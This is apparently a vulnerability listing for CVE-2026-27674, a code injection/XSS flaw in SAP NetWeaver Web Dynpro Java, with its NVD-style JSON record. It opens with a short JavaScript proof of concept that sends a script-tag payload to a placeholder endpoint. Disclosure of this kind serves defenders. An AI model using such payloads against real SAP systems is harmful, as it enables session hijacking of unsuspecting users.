CVE-2026-27674

// PoC for CVE-2026-27674 // This demonstrates how an attacker might inject a script payload. var vulnerableParam = "<script>alert('XSS - CVE-2026-27674');</script>"; var url = "https://target-server.com/web_dynpro_endpoint?input=" + encodeURIComponent(vulnerableParam); // Attacker sends this link to the victim. // When victim clicks, the script executes in their browser context. fetch(url, { method: 'POST', body: "data=" + vulnerableParam }) .then(response => console.log('Payload sent'));

{"cve": {"id": "CVE-2026-27674", "sourceIdentifier": "[email protected]", "published": "2026-04-14T00:16:05.670", "lastModified": "2026-04-17T15:18:16.507", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to a Code Injection vulnerability in SAP NetWeaver Application Server Java (Web Dynpro Java), an unauthenticated attacker could supply crafted input that is interpreted by the application and causes it to reference attacker-controlled content. If a victim accesses the affected functionality, that attacker-controlled content could be executed in the victim�s browser, potentially resulting in session compromise. This could allow the attacker to execute arbitrary client-side code, impacting the confidentiality and integrity of the application, with no impact to availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://me.sap.com/notes/3719397", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}